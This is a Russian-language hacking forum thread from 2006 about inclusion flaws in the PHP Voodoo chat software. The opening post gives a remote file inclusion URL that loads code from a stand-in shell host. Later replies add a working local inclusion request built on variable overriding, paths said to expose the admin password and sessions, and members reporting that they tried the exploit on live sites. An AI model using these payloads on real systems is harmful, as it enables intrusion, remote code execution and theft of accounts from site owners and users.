Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   PHP-инклюдинг в Voodoo chat (https://forum.antichat.xyz/showthread.php?t=22182)

tclover 02.08.2006 03:45

PHP-инклюдинг в Voodoo chat
 
Программа: Voodoo chat 1.0RC1b и предыдущих

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "file_path" в сценарии index.php.

Пример:

http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM?



Electro 02.08.2006 08:04

Мдаа... Жаль что в новых версиях не пашет

m0nzt3r 02.08.2006 12:27

гг я тож увидел.Думал дожили...Ппробовал на одном, неспахало

.Slip 02.08.2006 13:49

В одном получилось) Молодец кловер.

grinay 03.08.2006 01:04

if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
else include_once($file_path.\"languages/\".$language.\".php\");
и где тут инклуд?:)Чет не совсем понял:)

forever777 03.08.2006 02:22

чето я таких версий чата найти не могу!

dinar_007 03.08.2006 02:31

форевер777, а зачем тебе их искать? Вред, незнакомому тебе, чату хочешь причинить? Не надо быть злоумышленником :-)

.Slip 03.08.2006 12:53

Динар, без флейма. Сам ведь модер, понимать должен.

Rabid Rabbit 03.08.2006 20:04

Начица раздупляю ситуасьён. Не знаю как там в предыдущих версиях (мож кто поделится сорцами?) но на данный момент мы имеем следующее:

---------------------------- файл <host>/chat/index.php
<?php
require_once("inc_common.php");
---------------------------- <host>/chat/inc_common.php
if (!($conf_content = implode("",file($data_path."voc.conf")))) {
trigger_error("1000\tCannot open voc.conf file, please check your DATA PATH parameter",E_USER_ERROR);
}
eval($conf_content);
---------------------------- и наконец в <host>/data/voc.conf имеем
$file_path = "<host>/chat/";
----------------------------

такие пироги. пороюсь еще по остальным пхп завтра.

Rabid Rabbit 04.08.2006 13:10

Итак, прадолжим. Бегло просотрел пхп-хи в <host>/chat/ - подкопаться сложно. Вощем надоело и я решил пойти другим путем. И таки имеем локальный инклуд (в текущей самой новой версии) .
Уязвимость находится в файле <host>/chat/welcome.php :
Код:

require_once("inc_common.php");

////////////// скип ////////////////

set_variable("user_lang");
set_variable("c_ulang");
if ($c_ulang != "" && $user_lang == "") $user_lang = $c_ulang;
if (!in_array($user_lang, $allowed_langs)) $user_lang = $language;
else include_once($file_path."languages/".$user_lang.".php");

////////////// скип ////////////////

Тогда локальный инклуд будет иметь следующий вид:
<host>/chat/welcome.php?allowed_langs[0]=&allowed_langs[1]=&allowed_langs[2]=../welcome&user_lang=../welcome
Инклудим саму себя - чисто для примера.
Ну и register_globals = on разумеется чтобы заработало.
%00 - ессесно не катит потому что в inc_common.php в функции set_variable() присутсвует $$variable_name = str_replace("\0","", $$variable_name);
Поэтому думаю больше тут сделать ничего низя.

Ну и в заключение пару небольших фич:
- получить список всех зарегеных юзеров <host>/chat/photos/renamer.php
- позырить пароль админа здесь: <host>/chat/admin/admin_users.php
- сессию админа здесь : <host>/chat/admin/sessions.php

На этом у меня все.


Время: 17:07